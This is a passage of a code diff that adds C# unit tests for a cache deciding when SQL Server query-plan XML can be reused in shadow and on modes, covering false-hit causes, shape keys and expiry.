+            + "<QueryPlan CachedPlanSize=\"24\"><MemoryGrantInfo SerialRequiredMemory=\"512\" SerialDesiredMemory=\"" + desiredMemory + "\" />"
+            + "<RelOp NodeId=\"0\" PhysicalOp=\"Sort\"><MemoryFractions Input=\"" + fractionInput + "\" Output=\"" + fractionInput + "\" /></RelOp>"
+            + "</QueryPlan></StmtSimple>"));
+        return "<ShowPlanXML><BatchSequence><Batch><Statements>" + statements + "</Statements></Batch></BatchSequence></ShowPlanXML>";
+    }
+
+    /// <summary>
+    /// A procedure plan the way the engine renders it: a <c>SET NOCOUNT ON</c> statement with no plan and no hash, an
+    /// <c>IF EXISTS</c> <c>StmtCond</c> whose condition has its own plan and <c>QueryPlanHash</c>, the statement under the
+    /// IF, and a <c>RETURN</c> with no plan and no hash. The grant fields sit on the statement under the IF.
+    /// </summary>
+    private static string ProcedurePlan(string desiredMemory, string fractionInput, string conditionHash, string selectHash, string cachedPlanSize = "24") =>
+        "<ShowPlanXML><BatchSequence><Batch><Statements>"
+        + "<StmtSimple StatementId=\"1\" StatementType=\"SET ON/OFF\" RetrievedFromCache=\"true\" />"
+        + "<StmtCond StatementId=\"2\" StatementType=\"COND\" QueryPlanHash=\"" + conditionHash + "\">"
+        + "<Condition><QueryPlan CachedPlanSize=\"16\"><RelOp NodeId=\"0\" PhysicalOp=\"Index Seek\" EstimateRows=\"1\" /></QueryPlan></Condition>"
+        + "<Then><Statements><StmtSimple StatementId=\"3\" StatementType=\"SELECT\" QueryPlanHash=\"" + selectHash + "\">"
+        + "<QueryPlan CachedPlanSize=\"" + cachedPlanSize + "\"><MemoryGrantInfo SerialRequiredMemory=\"512\" SerialDesiredMemory=\"" + desiredMemory + "\" />"
+        + "<RelOp NodeId=\"0\" PhysicalOp=\"Sort\" EstimateRows=\"10\"><MemoryFractions Input=\"" + fractionInput + "\" Output=\"" + fractionInput + "\" /></RelOp>"
+        + "</QueryPlan></StmtSimple></Statements></Then></StmtCond>"
+        + "<StmtSimple StatementId=\"4\" StatementType=\"RETURN\" RetrievedFromCache=\"true\" />"
+        + "</Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    /// <summary>Warms a cache through shadow (so each entry keeps its shape) and confirms it.</summary>
+    private static PlanDigestCache<ProcedureStatsPlanKey> WarmedWith(string plan)
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var first = ProcedureStatsPlanReuse.ApplyShadow(1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, plan) }, 1, s_now, null);
+        cache.ConfirmPending(first.Pending, s_now);
+        return cache;
+    }
+
+    [Fact]
+    public void Shadow_AProcedurePlanWithASetStatement_KeysOnTheHashPath_AndAGrantChangeIsTheSameShape()
+    {
+        var cached = ProcedurePlan("1024", "0.5", "0xC1", "0xAA");
+        var rendered = ProcedurePlan("2048", "0.25", "0xC1", "0xAA");
+        Assert.StartsWith("h:", ProcedureStatsPlanReuse.ShapeOf(cached), StringComparison.Ordinal);
+        Assert.Equal(ProcedureStatsPlanReuse.ShapeOf(cached), ProcedureStatsPlanReuse.ShapeOf(rendered));
+
+        var cache = WarmedWith(cached);
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, rendered) }, 2, s_now, (_, _) => Assert.Fail("a grant change is not a false hit"));
+
+        Assert.Equal(1, outcome.WouldHit);
+        Assert.Equal(1, outcome.SameShape);
+        Assert.Equal(0, outcome.FalseHit);
+    }
+
+    [Fact]
+    public void Shadow_AStmtCondWhoseConditionPlanChanged_IsAFalseHit_EvenWithAGrantChangeBesideIt()
+    {
+        /* no SET or RETURN here: a procedure that opens with the IF, so every StmtSimple has a hash and a key that read
+           only StmtSimple would take the hash path and miss the condition's own plan */
+        static string WithoutPlanlessStatements(string plan) =>
+            plan.Replace("<StmtSimple StatementId=\"1\" StatementType=\"SET ON/OFF\" RetrievedFromCache=\"true\" />", string.Empty, StringComparison.Ordinal)
+                .Replace("<StmtSimple StatementId=\"4\" StatementType=\"RETURN\" RetrievedFromCache=\"true\" />", string.Empty, StringComparison.Ordinal);
+
+        var cache = WarmedWith(WithoutPlanlessStatements(ProcedurePlan("1024", "0.5", "0xC1", "0xAA")));
+        var reported = new List<ProcedureStatsPlanKey>();
+
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, WithoutPlanlessStatements(ProcedurePlan("2048", "0.25", "0xC2", "0xAA"))) }, 2, s_now, (k, _) => reported.Add(k));
+
+        Assert.Equal(1, outcome.FalseHit);
+        Assert.Equal(0, outcome.SameShape);
+        Assert.Single(reported);
+    }
+
+    [Fact]
+    public void Shadow_ARenderThatDiffersOnlyInTheMemoryGrant_IsAWouldHitAndSameShape_NotAFalseHit()
+    {
+        var cached = PlanWithGrant("1024", "0.5", "0xAA", "0xBB");
+        var rendered = PlanWithGrant("2048", "0.25", "0xAA", "0xBB");
+        Assert.NotEqual(ProcedureStatsPlanReuse.DigestOf(cached), ProcedureStatsPlanReuse.DigestOf(rendered));
+
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var first = ProcedureStatsPlanReuse.ApplyShadow(1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, cached) }, 1, s_now, null);
+        cache.ConfirmPending(first.Pending, s_now);
+
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1, rendered) };
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 2, s_now, (_, _) => Assert.Fail("a grant change is not a false hit"));
+
+        Assert.Equal(1, outcome.WouldHit);
+        Assert.Equal(1, outcome.SameShape);
+        Assert.Equal(0, outcome.FalseHit);
+        Assert.Equal(0, outcome.Miss);
+        Assert.Equal(rendered, rows[0].QueryPlanXml); /* the row still carries what the render produced */
+
+        /* the cache now holds the new bytes, so the same render is an exact hit, not a second same-shape */
+        cache.ConfirmPending(outcome.Pending, s_now);
+        var again = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 3, s_now, (_, _) => Assert.Fail("healed"));
+        Assert.Equal(1, again.WouldHit);
+        Assert.Equal(0, again.SameShape);
+        Assert.Equal(0, again.FalseHit);
+    }
+
+    [Fact]
+    public void Shadow_ARenderWhoseOneStatementChangedItsQueryPlanHash_IsAFalseHit()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var first = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xAA", "0xBB")) }, 1, s_now, null);
+        cache.ConfirmPending(first.Pending, s_now);
+
+        var reported = new List<ProcedureStatsPlanKey>();
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xAA", "0xCC")) };
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 2, s_now, (k, _) => reported.Add(k));
+
+        Assert.Equal(1, outcome.WouldHit);
+        Assert.Equal(1, outcome.FalseHit);
+        Assert.Equal(0, outcome.SameShape);
+        Assert.Single(reported);
+
+        /* a statement added or dropped changes the count, which is a shape change too */
+        cache.ConfirmPending(outcome.Pending, s_now);
+        var dropped = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xAA")) }, 3, s_now, null);
+        Assert.Equal(1, dropped.FalseHit);
+        Assert.Equal(0, dropped.SameShape);
+    }
+
+    [Fact]
+    public void Shadow_AGrantChangeAlongsideAChangedStatementHash_IsStillAFalseHit()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var first = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xAA")) }, 1, s_now, null);
+        cache.ConfirmPending(first.Pending, s_now);
+
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("4096", "0.9", "0xDD")) }, 2, s_now, null);
+
+        Assert.Equal(1, outcome.FalseHit);
+        Assert.Equal(0, outcome.SameShape);
+    }
+
+    [Fact]
+    public void Shadow_AStatementWithoutAQueryPlanHash_FallsBackToTheXmlWithoutTheGrantAttributes_BothWays()
+    {
+        /* the second statement has no QueryPlanHash, so the shape is the XML minus MemoryGrantInfo and MemoryFractions attributes */
+        var cached = PlanWithGrant("1024", "0.5", "0xAA", null);
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var first = ProcedureStatsPlanReuse.ApplyShadow(1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, cached) }, 1, s_now, null);
+        cache.ConfirmPending(first.Pending, s_now);
+
+        var grant = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("2048", "0.25", "0xAA", null)) }, 2, s_now,
+            (_, _) => Assert.Fail("grant only"));
+        Assert.Equal(1, grant.SameShape);
+        Assert.Equal(0, grant.FalseHit);
+        cache.ConfirmPending(grant.Pending, s_now);
+
+        /* another attribute of the plan moves: the hash of the first statement here, which the fallback still sees */
+        var changed = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xEE", null)) }, 2, s_now, null);
+        Assert.Equal(1, changed.FalseHit);
+        Assert.Equal(0, changed.SameShape);
+
+        /* and a plan that is not XML at all can never be proved unchanged */
+        Assert.Null(ProcedureStatsPlanReuse.ShapeOf("<unclosed"));
+    }
+
+    [Fact]
+    public void Shadow_AnEntryCachedWithoutAShape_IsOneFalseHit_ThenGainsAShape_AndStopsOverCounting()
+    {
+        /* what an entry written by on mode, or an older build, looks like: a digest and no shape */
+        var cache = ConfirmedCache(new[] { RowFor(1, ProcedurePlan("1024", "0.5", "0xC1", "0xAA")) });
+
+        var first = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, ProcedurePlan("2048", "0.5", "0xC1", "0xAA")) }, 2, s_now, null);
+        Assert.Equal(1, first.FalseHit);
+        Assert.Equal(0, first.SameShape);
+
+        /* the false-hit render stored its shape, so a second grant-only render is the same shape */
+        cache.ConfirmPending(first.Pending, s_now);
+        var second = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, ProcedurePlan("4096", "0.1", "0xC1", "0xAA")) }, 3, s_now,
+            (_, _) => Assert.Fail("the entry has a shape now"));
+        Assert.Equal(1, second.SameShape);
+        Assert.Equal(0, second.FalseHit);
+    }
+
+    [Fact]
+    public void TheShapeKey_IgnoresGrantAttributes_AndNothingElse()
+    {
+        var shape = ProcedureStatsPlanReuse.ShapeOf(PlanWithGrant("1024", "0.5", "0xAA", "0xBB"));
+        Assert.NotNull(shape);
+        Assert.Equal(shape, ProcedureStatsPlanReuse.ShapeOf(PlanWithGrant("9", "0.1", "0xAA", "0xBB")));
+        Assert.NotEqual(shape, ProcedureStatsPlanReuse.ShapeOf(PlanWithGrant("1024", "0.5", "0xBB", "0xAA"))); /* order matters */
+        Assert.StartsWith("h:", shape, StringComparison.Ordinal);
+        Assert.StartsWith("x:", ProcedureStatsPlanReuse.ShapeOf(PlanWithGrant("1", "1", "0xAA", null)), StringComparison.Ordinal);
+        Assert.StartsWith("x:", ProcedureStatsPlanReuse.ShapeOf("<plan/>"), StringComparison.Ordinal);
+
+        var fallback = ProcedureStatsPlanReuse.ShapeOf(PlanWithGrant("1", "1", "0xAA", null));
+        Assert.NotEqual(fallback, ProcedureStatsPlanReuse.ShapeOf(PlanWithGrant("1", "1", "0xAB", null)));
+        Assert.Equal(fallback, ProcedureStatsPlanReuse.ShapeOf(PlanWithGrant("77", "0.7", "0xAA", null)));
+    }
+
+    [Fact]
+    public void TheShapeKey_OnAProcedurePlan_ReadsEveryStatementElement_AndNothingElse()
+    {
+        var plan = ProcedurePlan("1024", "0.5", "0xC1", "0xAA");
+        var shape = ProcedureStatsPlanReuse.ShapeOf(plan);
+        Assert.StartsWith("h:", shape, StringComparison.Ordinal);
+
+        /* what moves the key: the StmtCond's own hash, the nested statement's hash */
+        Assert.NotEqual(shape, ProcedureStatsPlanReuse.ShapeOf(ProcedurePlan("1024", "0.5", "0xC2", "0xAA")));
+        Assert.NotEqual(shape, ProcedureStatsPlanReuse.ShapeOf(ProcedurePlan("1024", "0.5", "0xC1", "0xAB")));
+
+        /* a statement with no plan counts: a SET statement dropped from the front is a different key */
+        Assert.NotEqual(shape, ProcedureStatsPlanReuse.ShapeOf(plan.Replace(
+            "<StmtSimple StatementId=\"1\" StatementType=\"SET ON/OFF\" RetrievedFromCache=\"true\" />", string.Empty, StringComparison.Ordinal)));
+
+        /* what does not: the grant fields, and (on this path) attributes the hashes already answer for */
+        Assert.Equal(shape, ProcedureStatsPlanReuse.ShapeOf(ProcedurePlan("9", "0.1", "0xC1", "0xAA")));
+        Assert.Equal(shape, ProcedureStatsPlanReuse.ShapeOf(ProcedurePlan("1024", "0.5", "0xC1", "0xAA", cachedPlanSize: "99")));
+
+        /* the fallback, by contrast, sees every non-grant attribute: a QueryPlan under a statement with no hash */
+        var noHash = plan.Replace(" QueryPlanHash=\"0xAA\"", string.Empty, StringComparison.Ordinal);
+        var fallback = ProcedureStatsPlanReuse.ShapeOf(noHash);
+        Assert.StartsWith("x:", fallback, StringComparison.Ordinal);
+        Assert.NotEqual(fallback, ProcedureStatsPlanReuse.ShapeOf(noHash.Replace("CachedPlanSize=\"24\"", "CachedPlanSize=\"25\"", StringComparison.Ordinal)));
+        Assert.NotEqual(fallback, ProcedureStatsPlanReuse.ShapeOf(noHash.Replace("EstimateRows=\"10\"", "EstimateRows=\"11\"", StringComparison.Ordinal)));
+        Assert.Equal(fallback, ProcedureStatsPlanReuse.ShapeOf(noHash.Replace("SerialDesiredMemory=\"1024\"", "SerialDesiredMemory=\"7\"", StringComparison.Ordinal)));
+
+        /* no statement at all: the fallback too */
+        Assert.StartsWith("x:", ProcedureStatsPlanReuse.ShapeOf("<ShowPlanXML><BatchSequence /></ShowPlanXML>"), StringComparison.Ordinal);
+
+        /* a StmtCond with no hash that opens a QueryPlan is a shape the key cannot see: the fallback */
+        Assert.StartsWith("x:", ProcedureStatsPlanReuse.ShapeOf(plan.Replace(" QueryPlanHash=\"0xC1\"", string.Empty, StringComparison.Ordinal)), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheCounters_ReachTheCollectionLogNote_AndOnlyAShapeChangeWarns()
+    {
+        var flipper = new FlippableRunner("shadow");
+        var context = StampedContext(flipper.Runner, capture: true);
+        var mode = ProcedureStatsPlanFetchModes.OfRun(context);
+
+        /* first run warms the cache, and the host commits it (the runner's own confirm is the writer's; do it through the cache) */
+        var rows1 = new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xAA")), RowFor(2, PlanWithGrant("1024", "0.5", "0xAA")) };
+        var pending = await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(null!, null!, ServerFor(), context, rows1, mode, CancellationToken.None);
+        var caches = (System.Collections.IDictionary)typeof(DarlingCollectorRunner)
+            .GetField("_procedureStatsPlanCaches", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance)!
+            .GetValue(flipper.Runner)!;
+        ((PlanDigestCache<ProcedureStatsPlanKey>)caches[ServerFor().ServerId]!).ConfirmPending(pending, DateTime.UtcNow);
+
+        var second = StampedContext(flipper.Runner, capture: true);
+        string? Note() => CollectorMeasurementNote.Compose(null, second.Measurements);
+        var rows2 = new List<ProcedureStatsCollector.Row>
+        {
+            RowFor(1, PlanWithGrant("2048", "0.25", "0xAA")),   /* same shape: a grant change */
+            RowFor(2, PlanWithGrant("1024", "0.5", "0xBB")),    /* a statement recompiled */
+        };
+        await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(null!, null!, ServerFor(), second, rows2, mode, CancellationToken.None);
+
+        Assert.Equal(1, second.Measurements.First(m => m.Label == "deferred_same_shape").Value);
+        Assert.Equal(1, second.Measurements.First(m => m.Label == "deferred_false_hit").Value);
+        Assert.Equal(2, second.Measurements.First(m => m.Label == "deferred_would_hit").Value);
+        Assert.Contains("deferred_same_shape=1", Note(), StringComparison.Ordinal);
+
+        /* the false hit is split by cause in the note: this one was a shape change, so the others stay 0 */
+        Assert.Equal(1, second.Measurements.First(m => m.Label == "deferred_false_hit_shape").Value);
+        Assert.Contains("deferred_false_hit_shape=1", Note(), StringComparison.Ordinal);
+        Assert.Contains("deferred_false_hit_no_shape=0", Note(), StringComparison.Ordinal);
+        Assert.Contains("deferred_false_hit_over_cap=0", Note(), StringComparison.Ordinal);
+        Assert.Contains("deferred_false_hit_unparsed=0", Note(), StringComparison.Ordinal);
+        Assert.Contains("deferred_false_hit=1", Note(), StringComparison.Ordinal);
+        Assert.Equal(1, flipper.Log.CountAtLevel(LogLevel.Warning)); /* the same-shape row did not warn */
+    }
+
+    private static List<ProcedureStatsPlanReuse.FalseHitCause> CausesOf(
+        PlanDigestCache<ProcedureStatsPlanKey> cache, ProcedureStatsCollector.Row row)
+    {
+        var causes = new List<ProcedureStatsPlanReuse.FalseHitCause>();
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { row }, 2, s_now, (_, cause) => causes.Add(cause));
+        Assert.Equal(1, outcome.FalseHit);
+        return causes;
+    }
+
+    [Fact]
+    public void Shadow_FalseHitCause_ShapeChanged_WhenBothShapesWereComparedAndDiffer()
+    {
+        var cache = WarmedWith(PlanWithGrant("1024", "0.5", "0xAA"));
+        Assert.Equal(
+            ProcedureStatsPlanReuse.FalseHitCause.ShapeChanged,
+            Assert.Single(CausesOf(cache, RowFor(1, PlanWithGrant("1024", "0.5", "0xBB")))));
+    }
+
+    [Fact]
+    public void Shadow_FalseHitCause_EntryHasNoShape_WhenTheCachedEntryWasStoredWithoutOne()
+    {
+        var cache = ConfirmedCache(new[] { RowFor(1, PlanWithGrant("1024", "0.5", "0xAA")) });
+        Assert.Equal(
+            ProcedureStatsPlanReuse.FalseHitCause.EntryHasNoShape,
+            Assert.Single(CausesOf(cache, RowFor(1, PlanWithGrant("2048", "0.5", "0xAA")))));
+    }
+
+    [Fact]
+    public void Shadow_FalseHitCause_OverCapRender_WhenTheRenderHasNoText()
+    {
+        var cache = WarmedWith(PlanWithGrant("1024", "0.5", "0xAA"));
+        var over = QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes + 5L;
+        Assert.Equal(
+            ProcedureStatsPlanReuse.FalseHitCause.OverCapRender,
+            Assert.Single(CausesOf(cache, RowFor(1, null, over))));
+    }
+
+    [Fact]
+    public void Shadow_FalseHitCause_RenderUnparseable_WhenTheXmlDoesNotParse()
+    {
+        var cache = WarmedWith(PlanWithGrant("1024", "0.5", "0xAA"));
+        Assert.Equal(
+            ProcedureStatsPlanReuse.FalseHitCause.RenderUnparseable,
+            Assert.Single(CausesOf(cache, RowFor(1, "<ShowPlanXML><unclosed"))));
+    }
+
+    [Fact]
+    public void Shadow_EachFalseHitCause_LandsInItsOwnPart_AndThePartsSumToTheFalseHits()
+    {
+        /* rows 1, 2, 3, 5 are cached with a shape; row 4 is cached the way "on" does it, with none */
+        var plan = PlanWithGrant("1024", "0.5", "0xAA");
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var warm = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new[] { 1, 2, 3, 5 }.Select(h => RowFor(h, plan)).ToList(), 1, s_now, null);
+        cache.ConfirmPending(warm.Pending, s_now);
+        var key4 = ProcedureStatsPlanKey.TryCreate(1, RowFor(4, plan))!.Value;
+        cache.AddPending(key4, ProcedureStatsPlanReuse.DigestOf(plan), null, s_now, 1);
+        cache.ConfirmPending(new[] { key4 }, s_now);
+
+        var rows = new List<ProcedureStatsCollector.Row>
+        {
+            RowFor(1, PlanWithGrant("1024", "0.5", "0xBB")),                                        /* a statement recompiled */
+            RowFor(5, PlanWithGrant("1024", "0.5", "0xCC")),                                        /* another */
+            RowFor(2, null, QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes + 5L),                /* over the cap */
+            RowFor(3, "<ShowPlanXML><unclosed"),                                                    /* did not parse */
+            RowFor(4, PlanWithGrant("2048", "0.5", "0xAA")),                                        /* the entry has no shape */
+        };
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 2, s_now, null);
+
+        Assert.Equal(5, outcome.FalseHit);
+        Assert.Equal(2, outcome.FalseHitShape);
+        Assert.Equal(1, outcome.FalseHitOverCap);
+        Assert.Equal(1, outcome.FalseHitUnparsed);
+        Assert.Equal(1, outcome.FalseHitNoShape);
+        Assert.Equal(
+            outcome.FalseHit,
+            outcome.FalseHitShape + outcome.FalseHitNoShape + outcome.FalseHitOverCap + outcome.FalseHitUnparsed);
+    }
+
+    [Fact]
+    public void TheFalseHitWarningText_NamesEachCase_AndOnlyAChangedShapeSaysTheShapeChanged()
+    {
+        var texts = Enum.GetValues<ProcedureStatsPlanReuse.FalseHitCause>()
+            .ToDictionary(cause => cause, ProcedureStatsPlanReuse.DescribeFalseHit);
+
+        Assert.Equal("the plan's shape changed", texts[ProcedureStatsPlanReuse.FalseHitCause.ShapeChanged]);
+        Assert.Contains("no shape yet", texts[ProcedureStatsPlanReuse.FalseHitCause.EntryHasNoShape], StringComparison.Ordinal);
+        Assert.Contains("size cap", texts[ProcedureStatsPlanReuse.FalseHitCause.OverCapRender], StringComparison.Ordinal);
+        Assert.Contains("did not parse", texts[ProcedureStatsPlanReuse.FalseHitCause.RenderUnparseable], StringComparison.Ordinal);
+        Assert.Equal(texts.Count, texts.Values.Distinct(StringComparer.Ordinal).Count());
+        foreach (var (cause, text) in texts.Where(t => t.Key != ProcedureStatsPlanReuse.FalseHitCause.ShapeChanged))
+        {
+            Assert.Contains("not compared", text, StringComparison.Ordinal);
+            Assert.DoesNotContain("changed", text, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public async Task TheFalseHitWarning_SaysWhyItFired_NotJustThatTheShapeDiffered()
+    {
+        var flipper = new FlippableRunner("shadow");
+        var context = StampedContext(flipper.Runner, capture: true);
+        var mode = ProcedureStatsPlanFetchModes.OfRun(context);
+        var pending = await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), context,
+            new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xAA")) }, mode, CancellationToken.None);
+        var caches = (System.Collections.IDictionary)typeof(DarlingCollectorRunner)
+            .GetField("_procedureStatsPlanCaches", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance)!
+            .GetValue(flipper.Runner)!;
+        ((PlanDigestCache<ProcedureStatsPlanKey>)caches[ServerFor().ServerId]!).ConfirmPending(pending, DateTime.UtcNow);
+
+        await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), StampedContext(flipper.Runner, capture: true),
+            new List<ProcedureStatsCollector.Row> { RowFor(1, PlanWithGrant("1024", "0.5", "0xBB")) }, mode, CancellationToken.None);
+
+        Assert.Equal(1, flipper.Log.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("Why: the plan's shape changed", flipper.Log.Joined, StringComparison.Ordinal);
+        Assert.DoesNotContain("a plan of a different shape", flipper.Log.Joined, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Shadow_ACold_Miss_WarmsTheCache_AndLeavesEveryRowUntouched()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var rows = new List<ProcedureStatsCollector.Row>
+        {
+            RowFor(1, "<plan one/>"),
+            RowFor(2, "<plan two/>", count: 0),   /* no statements visible: never cached */
+            RowFor(3, null),                       /* aged out: no plan, no size */
+        };
+        var before = rows.ToList();
+
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 1, s_now, null);
+
+        Assert.Equal(before, rows); /* byte-identical to off: the pass never writes a row */
+        Assert.Equal(0, outcome.WouldHit);
+        Assert.Equal(3, outcome.Miss);
+        Assert.Equal(2, outcome.Rendered);
+        Assert.Single(outcome.Pending);
+        Assert.Equal(1, cache.Count);
+    }
+
+    [Fact]
+    public void Shadow_AnOverCapIdentity_IsAHit_WithoutAFalseHit_WhenTheSizeMatches()
+    {
+        var over = QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes + 5L;
+        var cache = ConfirmedCache(new[] { RowFor(1, null, over) });
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1, null, over) };
+
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 2, s_now, (_, _) => Assert.Fail("same size"));
+
+        Assert.Equal(1, outcome.WouldHit);
+        Assert.Equal(0, outcome.FalseHit);
+
+        var grew = ProcedureStatsPlanReuse.ApplyShadow(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1, null, over + 100) }, 2, s_now, null);
+        Assert.Equal(1, grew.FalseHit);
+    }
+
+    // ---- on ------------------------------------------------------------------------------------
+
+    [Fact]
+    public async Task On_AHit_CarriesTheCachedDigestAndSize_AndRendersNothing()
+    {
+        var cached = RowFor(1, "<plan one/>");
+        var cache = ConfirmedCache(new[] { cached });
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1) };
+        var calls = new List<int>();
+
+        var outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, captureCycle: true, 2, s_now, FetchOf(new(), calls), CancellationToken.None);
+
+        Assert.Equal(1, outcome.Hit);
+        Assert.Empty(calls);
+        Assert.Null(rows[0].QueryPlanXml);
+        Assert.Equal(ProcedureStatsPlanReuse.DigestOf("<plan one/>"), rows[0].KnownPlanDigest);
+        Assert.Equal("<plan one/>".Length, rows[0].QueryPlanXmlBytes);
+    }
+
+    [Fact]
+    public async Task On_AMiss_IsRenderedInOneFetch_AndCachedAsPendingUntilACommitConfirmsIt()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1), RowFor(2) };
+        var plans = new Dictionary<string, (string?, long?)> { ["0x0501"] = ("<one/>", 6), ["0x0502"] = ("<two/>", 6) };
+        var calls = new List<int>();
+
+        var outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, true, 1, s_now, FetchOf(plans!, calls), CancellationToken.None);
+
+        Assert.Equal(new[] { 2 }, calls);
+        Assert.Equal(2, outcome.Rendered);
+        Assert.Equal(12, outcome.RenderedBytes);
+        Assert.Equal("<one/>", rows[0].QueryPlanXml);
+        Assert.Equal("<two/>", rows[1].QueryPlanXml);
+        Assert.Equal(2, outcome.Pending.Count);
+
+        /* pending is not proof: a lookup before the commit still misses */
+        Assert.False(cache.TryGet(outcome.Pending[0], s_now, out _));
+        cache.ConfirmPending(outcome.Pending, s_now);
+        Assert.True(cache.TryGet(outcome.Pending[0], s_now, out _));
+    }
+
+    [Fact]
+    public async Task On_AFailedCommit_LeavesNothingConfirmed_SoTheNextRunRendersAgain()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var plans = new Dictionary<string, (string?, long?)> { ["0x0501"] = ("<one/>", 6) };
+
+        var first = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1) }, true, 1, s_now, FetchOf(plans!), CancellationToken.None);
+        cache.DiscardPending(first.Pending);
+
+        var calls = new List<int>();
+        var second = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1) }, true, 2, s_now, FetchOf(plans!, calls), CancellationToken.None);
+
+        Assert.Equal(0, second.Hit);
+        Assert.Equal(new[] { 1 }, calls);
+    }
+
+    [Fact]
+    public async Task On_ARowWithACountOfZero_IsRenderedButNeverCached_AndNeverHits()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var plans = new Dictionary<string, (string?, long?)> { ["0x0501"] = ("<one/>", 6) };
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1, count: 0) };
+
+        var outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, true, 1, s_now, FetchOf(plans!), CancellationToken.None);
+
+        Assert.Equal(1, outcome.Rendered);
+        Assert.Equal("<one/>", rows[0].QueryPlanXml);
+        Assert.Empty(outcome.Pending);
+        Assert.Equal(0, cache.Count);
+    }
+
+    [Fact]
+    public async Task On_AnEntryOlderThanFourCaptureCycles_IsAMiss_AndAnEntryAtFourIsAHit()
+    {
+        var cache = ConfirmedCache(new[] { RowFor(1, "<one/>") }, ordinal: 10);
+        var plans = new Dictionary<string, (string?, long?)> { ["0x0501"] = ("<one/>", 6) };
+
+        var atLimit = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1) }, true, 10 + ProcedureStatsPlanReuse.TtlCaptureCycles, s_now,
+            FetchOf(plans!), CancellationToken.None);
+        Assert.Equal(1, atLimit.Hit);
+
+        var calls = new List<int>();
+        var past = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1) }, true, 10 + ProcedureStatsPlanReuse.TtlCaptureCycles + 1, s_now,
+            FetchOf(plans!, calls), CancellationToken.None);
+        Assert.Equal(0, past.Hit);
+        Assert.Equal(1, past.Miss);
+        Assert.Equal(new[] { 1 }, calls);
